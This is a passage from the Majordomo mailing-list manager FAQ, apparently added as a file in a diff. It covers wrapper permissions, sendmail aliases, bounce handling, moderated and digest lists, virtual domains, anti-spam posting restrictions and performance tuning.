http://www.peak.org/peak_info/mlists/Majordomo.html + * MajorCool - http://ncrinfo.ncr.com/pub/contrib/unix/MajorCool/ Link + dead.. it looks like it's supposed to be moved to + http://www.ncr.com/pub/software/MajorCool/. + * MailServ - http://www.csicop.org/~fitz/www/mailserv/ + * Pandora - http://www.ed.umuc.edu/pandora/ + * Maitre-d - http://www.landw.com/wps/content2.htm#ch12 + * Marcos' - http://www.inf.utfsm.cl/~marcos/majordomo/www.html + * ListTool - http://www.listtool.com/ + * Wilma (a list archive interface) - + ftp://sol.ccsf.cc.ca.us/majordomo-contrib/ + * ListQuest ( a list archive and search interface) - + http://lq.corenetworks.com/ + +1.8 - Is Majordomo Y2K (Year 2000) compliant? + +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new 4-digit +year flags to archive you should not have any year 2000 problems. + +No one has officially certified Majordomo to be Y2K compliant, and I don't +foresee anyone paying money to do so, so don't go looking for someone to sue +if it breaks. All we are saying is that we know of no year 2000 issues with +Majordomo. + +That being said, as you can see by reading the Majordomo source, except for +the "archive" program majordomo doesn't directly deal with dates so it's +extremely unlikely there are any year 2000 issues. Even places where it does +use dates (archive) it doesn't do any date comparisons, which is the crux of +all non-cosmetic year 2000 bugs. At worst "archive" would overwrite your +100-year-old mailing list archives. I really really doubt Majordomo will +still be used for 100 years. + + ------------------------------------------------------------------------ + +Section 2: Problems setting up Majordomo + +2.1 - What are the proper permissions and ownership of all Majordomo files +and directories? + +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security model +that Majordomo uses, and it's also due to the fact that it's hard to +automate this process. Once you install majordomo, run "./wrapper +config-test" as some other user (like you) and read the results. Do NOT run +"./wrapper config-test" as 'root' or your 'majordom' user. That will defeat +the test of the wrapper operation. The config-test script will check your +installation for correct permissions (as well as other tests) and report any +problems. It's not quite perfect, but it catches 95% of all problems. + +Majordomo works by using a small C "wrapper" which works by allowing it to +always run as the "majordom" user and group that you create. (note that the +wrapper may disappear in a future release, since its function could safely +be replaced by features found in Perl 5) You can use a different name than +"majordom" for your user and group, but that is what is assumed for the +explanations found in this document. The 1.94.3 INSTALL file suggests using +'daemon' as your majordomo group. This is the group that 'sendmail' runs as, +and allows you to have $homedir permissions set to 750. This has the +disadvantage in environments where there may be one or more administrators +of the Majordomo system or where you don't want to always have to 'su' to +the majordomo user to do administration. (you don't really want to put other +normal users in the 'daemon' group for security reasons) If you create a +separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and wrapper +have world execute permission, and you may have to add 'majordom' to the +'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x will +probably give "X-Authentication-Warning:"'s) + +Because Majordomo does not run with any "special" (root) privileges, and +because of the fact that Majordomo does a lot of .lock-style locking (with +shlock.pl), permissions on all files and directories are critical to the +correct operation of Majordomo. + +The wrapper + +The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if your +system is POSIX or not, I would suggest you assume that your system is not. +(The default is POSIX) If things don't work right (for example you get +symptoms of permission problems or you get an error from the wrapper saying +to recompile using POSIX flags), then try POSIX. + +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and +4.3-based systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI (and +other 4.4 BSD-based systems), Linux. + +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to add +/usr/bsd to the W_PATH to get the hostname (needed by Perl) command. (IRIX +doesn't have a /usr/ucb). If you are on a non-POSIX system, the wrapper must +be both suid and sgid (mode 6755) to "majordom". It must not be setuid root! + +OR + +On a POSIX system the wrapper must be setuid root, and double-check that +W_USER and W_GROUP are the uid and gid of the "majordom" user and group. +Don't ever set W_USER to be 0! + +Then compile the wrapper and install it. Do not install the wrapper on an +NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +Majordomo files + +All files that majordomo creates will be mode 660, user "majordom", group +"majordom" if it is running correctly (see $config_umask in the +majordomo.cf). The "Log" file that Majordomo writes logging information to +must have this same permission and ownership. Make sure any files you create +by hand (.config, subscription lists) have this same permission and +ownership. (they can also be mode 664 if you don't need the contents to be +private to others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be readable to +the "majordom" user/group. All Majordomo programs (majordomo, resend, etc.) +must have the execute bit set. All Majordomo programs must have the correct +path to Perl in the #! line in the beginning of the script. The 'make +install' process should do this all automatically for you. + +Majordomo directories + +All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) must be at +least mode 750 (or 755 if you don't use "daemon" as your majordomo group -- +see 2.3below.). They should be user and group owned by "majordom". If want +to allow a local user to be able to directly modify files or for example +copy files into a list's archive directory, you may make the directory or +file owned by that user. However directories and files must be then +group-"majordom" writable (770 or 775). + +2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation +not permitted" + +Most likely your wrapper is not installed correctly. Re-check the Makefile +and see if the wrapper was compiled with the right UID and GID. See the +README and the above section on how to set the permissions correctly. Make +sure after you fix the wrapper that you remove (or rename) any +"listname.new" or "L.listname" files found in your lists directory. These +will likely have the wrong ownerships, and cause you problems. + +You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, it's a bug in config-test and should be +fixed. + +2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied" + +This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The majordomo +$homedir needs to have permission of at least 751 (or 755), not 750. +Otherwise, sendmail won't have permission to execute the wrapper. You'll +need to do a 'chmod 755 $homedir' after you install majordomo. Make sure +'wrapper' also has world execute permission. Some people also have put the +user 'daemon' in the 'majordom' group. This works too. + +2.4 - I get "Unknown mailer error" when majordomo runs + +First, see Question 4.13 if you are running RedHat 5.2 and are getting +"Unknown mailer error 9". + +If something is wrong with your setup, the wrapper will often exit with +various return codes depending on what the problem is. In order to really +understand what is going on, look at the session transcript further down in +the bounce message to see the error which is returned from the wrapper or +from Majordomo. You should usually see some sort of error message. If you +just get a return code, check the Majordomo README for further explanation +on sendmail return codes. If you get "Unknown mailer error XX" where XX is +less than 255, look for the error in /usr/include/errno.h . Otherwise, see +the README. + +See section 1.1 above for what versions of Perl won't work with Majordomo. + +[reported by Russell Street] +You may also get problems when messages to majordomo are queued (for example +if you change sendmail's behavior to always queue messages rather than +perform immediate delivery). The problem was that if sendmail queues a +message it smashes the case in command lines and addresses when the queue +gets processed. This is in spite of the lines shown by mailq. This is +sendmail 5.x on Solaris 2.3, but it might apply to other versions of +sendmail. + +2.5 - I get an error "insecure usage" from the wrapper + +The argument to "wrapper" should be simply be the command, not the full path +to the command. "wrapper" has where to look compiled in to it (the "W_HOME" +setting in the Makefile) and for security reasons will not let you specify +another directory. + +Your alias should say for example: + +majordomo: |"/path/to/majordomo/wrapper majordomo" + +2.6 - I get "majordomo: No such file or directory" from the wrapper + +Make sure that the #! statement at the beginning of all the Majordomo Perl +executables contain the correct path to the perl program (the default is +/usr/local/bin/perl). Note many UNIXes have a 32 character limit on that +path -- make sure it doesn't exceed this limit. Make sure also that +majordomo and all the related scripts are in the W_HOME directory as defined +in the Makefile when you compiled the wrapper. + +2.7 - I get an error "Can't locate majordomo.pl" + +[from Brent Chapman] +Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, I'd +guess you have one of two problems: + +1) $homedir is set improperly (or not set at all; there is no default) in +your majordomo.cf file. + +2) majordomo.pl is not in $homedir, or is not readable. + +[from John P. Rouillard] +3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the wrapper +always sets HOME to the correct directory, you get a nice default, unless +you are running a previously built wrapper, in which case you may get the +wrong directory. + +[from Andreas Fenner] +4) I had the same problem when I installed majordomo (1.62). My Problem was +a missing ";" in the majordomo.cf file - just in the line before setting +homedir .... My hint for you: Check your perl-files carefully. + +2.8 - I told my majordomo.cf where to archive the list, why isn't it +working? + +[From John Rouillard] +The archive variables in majordomo.cf aren't used to archive anything. You +have to use a separate archive program, or a sendmail alias to do the +archiving. The info is used to generate a directory where the archive files +are being placed by some other mechanism. + +You are telling majordomo to look in the directory: +/usr/local/mail/majordomo/archive/listname + +for files that it should allow to be retrieved using the get command. + +Majordomo comes with three different archive programs that run under wrapper +that do various types of archiving. Look in the contrib directory. + +2.9 - config-test can't seem to find ctime.pl or resend can't find +getopts.pl + +ctime.pl and getopts.pl are included in the standard Perl distribution. If +it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may want to take the opportunity to upgrade Perl, too) + +2.10 - A list is visible via lists, but can't subscribe or 'get' files + +[From Brent Chapman] +I'll bet your list name has capital letters in it... Majordomo smashes all +list names to all-lower-case before attempting to use the list name as part +of a filename. So, while it's OK to advertise (for instance) +"Majordomo-Users" and have the headers say "Majordomo-Users", the file names +and archive directory names themselves all need to be in lower case. If you +want to use mixed case, simply configure the list using the lower-case names +everywhere, except put the mixed-case version in the "-l" and "-h" flags to +resend. + +2.11 - I get "sh: wrapper not available for sendmail programs" + +You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this is done +by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to +Majordomo's wrapper program. + +2.12 - I get "aliasing/forwarding loop broken" + +[ Reported by Wade Williams ] +Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. + +You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section 2.1 above for the +full discussion of how to correctly set permissions on directories and files +within Majordomo. + + ------------------------------------------------------------------------ + +Section 3: Setting up mailing lists and aliases + +3.1 - How do I direct bounces to the right address? + +You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you +have defined the "owner-listname" alias to point to the owner of the list. + +What this does is force outgoing mail to have the out-of-band envelope FROM +be "owner-listname", and thus all bounces will be redirected to that +address. (This address is what gets copied into the message body as the +"From " or "Return-Path:" header). 'resend' also inserts a "Sender:" line +with the same address to help people identify where it came from, but that +header is not used in the bounce process. + +If you are using sendmail v8.x, you don't have to use 'resend' to do the +same thing. You simply have to define an alias like this: + +owner-sample: joe, + +Note the trailing comma is necessary to prevent sendmail from resolving the +alias first before putting it in the header. Without the comma, it will put +"joe" in the envelope from instead of "owner-sample". Either address will +work, of course, but the generic address is preferred should the owner ever +change. + +However if you choose not to use 'resend', you will have to do without most +of majordomo's other features like moderating, administrivia checks, and +others. + +3.2 - Semi-automated handling of bounced mail + +This is not true automation of bounced mail. What this does is the next best +thing. You unsubscribe the user from the list, but add the user to a special +'bounces' list (there's a perl script in the distribution called bounce you +run to make this easier) The majordomo maintainer then runs (out of cron) +the 'bounce-remind' script periodically, which sends mail to all the people +on the bounces list, saying essentially "you were removed from list 'foo' +because mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming the +bounces list, but it's easy to write one because the date the person was +added to the bounces list is included (so you could write a perl script +which removes anyone on the list for more than one week, assuming you run +bounce-remind more than once a week). There's no facility for automatically +detecting what addresses are failing. You have to determine that based on +the bounce messages you receive from other sites. + +[From John Rouillard] +Just create a mailing list called "bounces". I usually set mine up as an +auto list just to make life easier. + +All that "bounce" script does is create an email message to majordomo that +says: + + approve [passwd] unsubscribe [listname] [address] + approve [passwd] subscribe bounces [address] + +The [address] and [listname], are given on the command line to bounce. The +address of the majordomo, and the passwords are retrieved from the +.majordomo file in your home directory. + +A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.COM + bounces passwd3 Majordomo@This.COM + bounces passwd4 Majordomo@Other.COM + +A command of "bounce this-list user@fubar.com" will mail the following +message to Majordomo@This.COM: + + approve passwd1 unsubscribe this-list user@fubar.com + approve passwd3 subscribe bounces user@fubar.com (930401 this-list) + +while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: + + approve passwd2 unsubscribe other-list user@fubar.com + approve passwd4 subscribe bounces user@fubar.com (930401 this-list) + +Note that the date and the list the user was bounced from are included as a +comment in the address used for the "subscribe bounces" command. + +3.3 - What's this Owner-List and List-Owner stuff? Why both? + +[From David Barr] +The "standard" is spelled out in RFC 1211 - "Problems with the Maintenance +of Large Mailing Lists". + +It's here where the "owner-listname" and "listname-request" concepts got +their start. (well it was before this, but this is where it was first +spelled out) + +Personally, I don't use "listname-owner" anywhere. You don't really have to +put both, since the "owner" alias is usually only for bounces, which you add +automatically anyway with resend's "-f" flag, or having Sendmail v8.x's +"owner-listname" alias. + +(while I'm on the subject) The "-approval" is a Majordomo-ism, and is only +necessary if you want bounces and approval notices to go to different +mailboxes. (though you'll have to edit some code in majordomo and +request-answer if you want to get rid of the -approval alias, since it's +currently hardwired in) + +So, to answer your question, I'd say "no". You don't have to have both. You +should just have "owner-list". + +3.4 - How should I configure resend for Reply-To headers? + +Whether you should have a "Reply-To:" or not depends on the charter of your +list and the nature of its users. If the list is a discussion list and you +generally want replies to go back to the list, you can include one. Some +people don't like being told what to do, and prefer to be able to choose +whether to send a private reply or a reply to the list just by using the +right function on their mail agent. Take note that if you do use a +"Reply-To:", then some mail agents make it much harder for a person on the +list to send a private reply. The most important reason why Reply-To: to the +list is bad is that it can cause mail loops if any of the members of your +list are running fairly-common but broken software which doesn't know what +an envelope address is. (Many Microsoft products, as well as many other +PC-based non-SMTP/Internet mail systems which work through an SMTP gateway.) + +You should read the following FAQ on why you shouldn't set the Reply-To: +field. http://www.unicom.com/pw/reply-to-harmful.html + +If you are using resend, use the 'reply_to' configuration variable in the +list .config file. + +3.5 - How can I hide lists so they can't be viewed by 'lists'? + +That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the sender. +A list display follows the rules: + + 1. If the from address is on the list, it is shown. + 2. If the from address matches a regexp in noadvertise (e.g. /.*/) the + list is not shown. + 3. If the advertise list is empty, the list is shown unless 2 applies. + 4. If the advertise list is non-empty, the from address must match an + address in advertise. Otherwise the list is not shown. Rule 2 applies, + so you could allow all hosts in umb.edu except hosts in cs.umb.edu. + +3.6 - How can I restrict a list such that only subscribers can send mail to +the list? + +See the restrict_post variable in the config file. Just set it to the +filename that holds the list of subscribers, which is just simply the name +of the list. ("restrict-post = listname"). However, there is an issue to +keep in mind. Majordomo works by filtering the messages coming in through +the "listname" alias, doing its dirty work, then passing the resulting +message out to another alias you define like "listname-outgoing". If you +trust people to not send mail directly to the "listname-outgoing" alias, +then you'll be fine. If however you're not trusting, there are several steps +to make sure people don't bypass the restrictions of the list. + +There are several methods. First you need to change your "listname-outgoing" +alias such that it is not obvious. (That means don't use something easy to +guess like "-outgoing" or "-list"). Next, you need to make it such that +people can't find out what your -outgoing alias is. + +You can use the "@filename" directive of resend. Put the all the normal +command-line options of resend into a file readable only by the majordomo +user/group. Then the alias for the list simply becomes ".../resend +@/path/to/filename". This will make it such that you can't find out the +-outgoing address by connecting to your mailer and doing an EXPN or VRFY. +The "@filename" directive seems to have fallen into undocumentation for some +reason. This should be fixed in future releases. This doesn't prevent a user +reading the local /etc/aliases file (if they can), however. + +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is done by +adding "noexpn" to the "O PrivacyOptions=" line in your sendmail.cf +(multiple options are separated with a comma). However this doesn't prevent +a local user reading the aliases file. This isn't generally a problem if +your mail server is restricted to staff only users. + +Unfortunately, Sendmail 8.x will log your -outgoing alias in the "Received:" +lines. To prevent this you need to specify more than one address for the +list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l mylist +mylist-seekrit,nobody"" where nobody is an alias for /dev/null) For Sendmail +8.x you must not define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the envelope +address of outgoing mail to contain your secret outgoing alias. Again if +you're using the @filename directive, the entire command line is simply put +into the specified file (starting with "-h foo.org ...". + +Here's another creative idea from matt@primefactor.com (Matt Perry): + +I've had a report that this no longer works with sendmail 8.9.1 + +Sendmail allows you to rewrite incoming and outgoing addresses. The one that +handles incoming is virtualusertable.text. For a list called test with the +test-outgoing alias, I put the following into my virtualusertable.text file +and remade the db with the appropriate command: + +test-outgoing@mydomain.com error:nouser User unknown + +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown". + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as someone who is subscribed to +the list, and sending to the list that way. Of course a spammer can also +subscribe to the list legitimately and then send spam. The restrict_post +option blocks the vast majority of problems, however. + +3.7 - Can I have the list owner or approval person be changeable without +intervention from the Majordomo owner? + +Sure! Just make owner-listname and/or listname-approval be another majordomo +list. (probably hidden, for simplicity's sake) + +3.8 - What are all these different passwords? + +Think of three separate passwords: + + 1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list manager + when using writeconfig commands etc. This allows someone who handles a + number of mailing lists all using the same password. This is also a + "backup password" in case the .config file gets corrupted. + 2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + 3. A password for those concerned with the list content (approve_passwd) + +This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new config +file to be put in if the config file was trashed and the admin_password was +obliterated, and may still be useful to allow a single password to be used +for admin functions by the majordomo admin or some other "superadmin". + +Note that the admin passwd in the config file is not a file name, but the +password itself. This is the only way that the list-maintainer could change +the password since they wouldn't have access to the file. + +3.9 - How do I tell majordomo to handle "get"-ing of binary files? + +Majordomo is not designed to be a general-purpose file-by-mail system. If +you want to do anything more than trivial "get"-ing of text files (archives, +etc) than you should get and install ftpmail. Majordomo has hooks to allow +transparent access to files via ftpmail (see majordomo.cf). See the +beginning of this FAQ for where to get ftpmail. + +3.10 - How do I set up a moderated list? How do I approve messages? + +First, you need to tell Majordomo that the list is moderated. In the +configuration file for the list, you set "moderate = yes". Do not try to use +the now-deprecated "-A" option to resend. In fact you shouldn't be using ANY +options to resend except "-h" and "-l", since all the others are handled in +the config file. + +Any mail which is not "approved", gets bounced with "Approval required". If +the moderator wishes to approve the message for the list, then you need to +tag the message as "approved" and send it to the list. The "approve" script, +which comes with Majordomo, automates this for you. Whenever you get a +message which needs approval, from your mail reader pipe the message through +"approve". The password for each list needs to be put in your .majordomo +file. Read the "approve" script for more information. + +If you don't have access to "approve" (e.g. you're not on a UNIX system with +Perl), you have to do it by hand. The easiest way is to forward the original +message to the list, add the line "Approved: approval-password" to the very +first line of the body, and then the entire contents of the original +message. (meaning there should not be a blank line before and after the +"Approved:" line.). Don't forget to edit out the headers which were added by +the bounce process. + +For example: + +To: your-list@example.com +Subject: doesn't matter + +Approved: your-approval-password +Received: by some.site.org.... +Received: by another.site.org.... +From: joe@another.com (Joe User) +Subject: this list is great! +To: your-list@example.com + +Hey, this list is great, and the moderator sure is sexy! + +Joe + +It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve their own +message again. Here's an example: + +To: your-list@example.com +Approved: your-approval-password +Subject: Thanks! + +I like this list too, but sorry, I'm married! :-) + +-- your moderator + +Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need to +use the first method. + +Note that in either case the "Approved:" line will be stripped out by +Majordomo before it gets sent to the list, so the list members won't see +your list password. + +3.11 - How do I set up a digested version of a list? + +[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. +Bresler)] + + * Create aliases for the mailing list and the digest. See section 2.2 of + the README for an example. + * create an alias for the majordom(o) user, so that his cron generated + mail comes to me, rather than just piling up in + /usr/local/mail/majordom. + * create the list's and the digest's files, (widget, widget-digest, + widget.config, widget-digest.config, etc.). Edit the + widget-digest.config file and make sure all the digest options are set + to your tastes. + * create the digest directory and archive directory. See FAQ section 2 on + how to set permissions on all majordomo files and directories. You must + have archives if you have digests so the digester can make the digest. + You can purge the archive after the digest is generated. + * Add yourself to both the mailing list and its digest so you can monitor + what happens...at least for a while (not a bad idea to create a dummy + user, and subscribe him to both the mailing list and its digest. This + preserves a record of messages for debugging. Don't forget to remove + this account and unsubscribe it after debugging.) + * Optionally you may use cron to send a mkdigest to push out a digest at + set intervals regardless of the number of queued messages. See the + question Why aren't my digests going out?". + +3.12 - How do I setup virtual majordomo domains? + +[From Alan Millar, et. al.] +Set up a majordomo.cf file for each virtual domain, defining $whereami as +appropriate. Use your mailer's virtual domain stuff to get to it, making an +alias for it if necessary. + +For sendmail, be sure to check out +http://www.sendmail.org/virtual-hosting.html first. + +Alias entry: + + majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf" + +Virtual domain stuff (in your virtusertable): + + majordomo@domain2 majordomo-domain2 + majordomo-owner@domain2 whoever + +I use the sendmail virtual domain examples right off the Sendmail FAQ. Works +for me. + +You'll need to modify request-answer slightly if you want the virtual host +to be used there in replies. Look for: + +From: $list-request + +in the source and change it to: + +From: $list-request\@$whereami + +Don't forget to use the -C option to request-answer for your virtual +aliases. + +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also +for good instructions on configuring virtual domains with Majordomo. + +3.13 - How can I stop people from using my mailing list to spam my +subscribers? + +[From mcr@solidum.com (Michael Richardson) ] +There are two approaches to solving spam. They are complementary. + +The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ for extensive recipes on this. + +The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see section +3.6 for some of the pitfalls of using restrict_post. They all apply. My +experience is that spammers have not yet learnt about the "-outgoing" alias, +and the techniques in section 3.6 would apply when they do. + +The major objection to using restrict_post to deflect spam is that it may +deflect posts from legitimate people -- people who've subscribed with one +address but are posting from another address. It may also restrict +cross-posts from other lists, or from people who read the list via news. + +The solution to the above objections is twofold: + + 1. the moderator must forward legitimate posts. This can be a pain, but it + does work. + 2. the restrict_post header can be extended. + +The typical way to do #2 is to set restrict_post to: + +mylist:mylist-nomail + +Then, create a configuration file and password for "mylist-nomail", but DO +NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner) + +The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list. + + ------------------------------------------------------------------------ + +Section 4: Mailer and list administration problems + +4.1 - Address with blanks are being treated separately + +If a subscriber to the list is +John Doe < jdoe@node.com> + +it gets treated these as the three addresses: +John +Doe +< jdoe@node.com> + +[From Alan Millar] +Majordomo does not treat these as three addresses. Apparently your mailer +does. + +Remember that all Majordomo does is add and remove addresses from a list. +Majordomo does not interpret the contents of the list for message +distribution; the system mailer (such as sendmail) does. + +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the end of +each line was effective to fix the problem, and I got to keep my comments. +So I patched Majordomo to add the comma at the end of each address it writes +to the list file. + +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. + +4.2 - Why aren't my digests going out? + +[from John Rouillard] + + echo mkdigest [digest-name] [digest-password] | mail majordomo@... + +This will force a digest to be created. Or you can set the max size in the +digest list config file down low, and force automatic generation. + +4.3 - Why do I get duplicate mail sent to the list? + +If you're running MMDF, read on: [From Gunther Anderson] +Well, I can tell you what happened to me recently. We use MMDF here, which +certainly colors the picture a little. What was happening here was that MMDF +was verifying the validity of the whole mailing list before returning from +the Submit call. The thing calling the Submit would time out and close, but +the Submit itself would still be running somewhere. The calling routine +would believe that the message had failed in its delivery, but the Submit +would eventually succeed. The calling process would try again some time +later. This, of course, is bad. The larger the list got, the more addresses +there were to verify (verification was really just a DNS search on the +target machine name), the more likely, under load, that the message would +duplicate. We finally got so large, with so many international addresses +(which seem to timeout on DNS queries much more often than US addresses) +that we were always duplicating. Infinitely (until I killed the original +submitter). + +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the addresses +before accepting a job. We used the list-processor channel, and only had to +check that the listname-request name was set properly, because +list-processor insists on making listname-request the envelope "From " +header name. + +If you're running Sendmail, this is more rare. There have been unconfirmed +reports that on some systems having the queue process interval set too short +can cause problems, even though sendmail is supposed to handle this. +Workarounds are to increase your queue process interval (-q flag), or +decrease the interval between queue checkpoints (OC flag in sendmail.cf). + +There have been many reports from Linux users complaining about duplicate +mail. The problem seems to be that flock() under Linux is broken. This may +be fixed in a future release, but for now in sendmail's conf.h in the #ifdef +__linux__ section add a line #define HASFLOCK 0. There are also reports that +some versions of the libc have problems, and that linking with the +libresolv.a from a recent BIND version will work around the problem. +[ Please let me know if you have any more information --ed ] + +4.4 - How do I gate my list to and/or from a newsgroup? + +The easiest method is to use a program called newsgate. You can find it at +ftp://ftp.isc.org/isc/inn/contrib/. Installation instructions are +straightforward, it provides sample entries for your newsfeeds/sys file and +aliases entries. The newsgate package includes news2mail and mail2news. + +4.5 - How can I improve Majordomo's performance? + +Mail to list throughput + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail to +the list. Upgrading your sendmail to version 8.x will improve things +greatly, as this version has a lot of enhancements which use connections +more efficiently. For most lists, this is enough. Majordomo itself doesn't +use very much in the way of resources except perhaps memory. Adding more +memory will help if your machine does a lot of paging during mail delivery. + +Using other mailers instead of sendmail has met with varying success. Exim +can also be used (see http://www.exim.org/). qmail has been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way than sendmail (some would say paranoid). See +http://www.qmail.org. The qmail site includes at least one way to get +majordomo to work with qmail. Note that it is possible to get majordomo +working under qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the Using Majordomo with qmail FAQ, written by +Russ Allbery. + +If you are using Exim instead of sendmail there are more things you can do. +Instead of concealing the -outgoing addresses, it is possible to configure +Exim so that those addresses are only usable by the local majordomo user. A +description of how to do that can be found at +http://www.netmaster.ca/exim/majordomo.html as well as other information +about configuring majordomo with Exim. + +If your lists are very large you may try installing bulk_mailer, by Keith +Moore. It pre-sorts the list into chunks grouped by site, and passes the +resulting chunks off to individual sendmail processes for delivery (see note +next paragraph). Get it from ftp://cs.utk.edu/pub/moore/bulk_mailer/. It +installs simply by replacing your usual -outgoing alias with (line wrapped +for clarity): + +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site + /path/to/lists/sample" + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one problem. +Until version 1.3 it didn't understand parenthesized comments in addresses, +resulting in incorrect sorting and reduced performance. Your list must be +configured with strip=yes in the list configuration file if you don't +upgrade to 1.3 or higher. + +TLB is another package which is like bulk_mailer, but has other features. +You can get it from ftp://ftp.hpc.uh.edu/pub/tlb/. The advantage of TLB is +its greater configuration flexibility, and also the fact that it's possible +with TLB to eliminate the -outgoing address, making configuration easier and +lists more secure. + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to verify that +the sender is subscribed to the list). Think twice about using this option +with very large lists. + +Majordomo command processing + +Most of the improvements in this are experimental and not widely available +or not yet completed but scheduled for future releases. Some areas include: +improvements in shlock.pl to use exponential backoffs to reduce contention +and starvation of locks, using some sort of dbz-style database for +subscription lists to speed up subscribe and unsubscribe commands, and +changes in the configuration file system to allow faster parsing and faster +execution of certain commands such as "lists". If you are interested in +working on improvements in this area, join the majordomo-workers list +mentioned above. If you make any specific patches or additions available, +please let me know so I can add references to it here. + +4.6 - How can I handle X.400 addresses? + +Majordomo by default treats addresses starting with "/" as "hostile", and +won't let people subscribe. This is to prevent someone from subscribing a +majordomo-owned filename to the list, and being able to write by sending +mail to the list. Unfortunately, all X.400 addresses begin with a "/". See +the $no_x400at and $no_true_x400 variables and the associated comments in +the majordomo.cf. There is a reported bug in 1.94 - you may need to change +both tests for these variables in majordomo.pl to put "main'" before them. +Like this: + + if (!$main'no_x400at) { + + if (!$main'no_true_x400) { + +This is fixed in Majordomo 1.94.1 and higher. + +4.7 - Why is the Subject of my messages missing? + +[from Dave Wolfe] +But it's not. Oh, you probably mean "Why is the subject line of messages to +my moderated list blank?" Because you didn't include any headers after the +Approved: header in the body of the messages. Or you deleted them when you +approved the bounced messages. + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original message +(as opposed to a bounced message), you have to also fill in some headers to +be sent out, such as Subject:, To:, and From:. + +See section Question 3.10 on how to approve messages to moderated lists. + +This is also explained in Doc/list-owner-info, which should be sent to all +list owners and moderators. + +4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I +stop this? + +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you why +in the Subject of the message. Here's a list of the most common bounce +reasons: + +An "Admin request" bounce means that the list is configured to filter out +what it thinks are "administrivia" messages, and it thought that message was +one. These are messages such as "subscribe" or "unsubscribe" or "help", +which get sent to the list instead of majordomo. Lists generally have this +turned on by default. If you don't like it, set "administrivia=no" in the +list config file. If that doesn't work, check your aliases to make sure the +"-s" 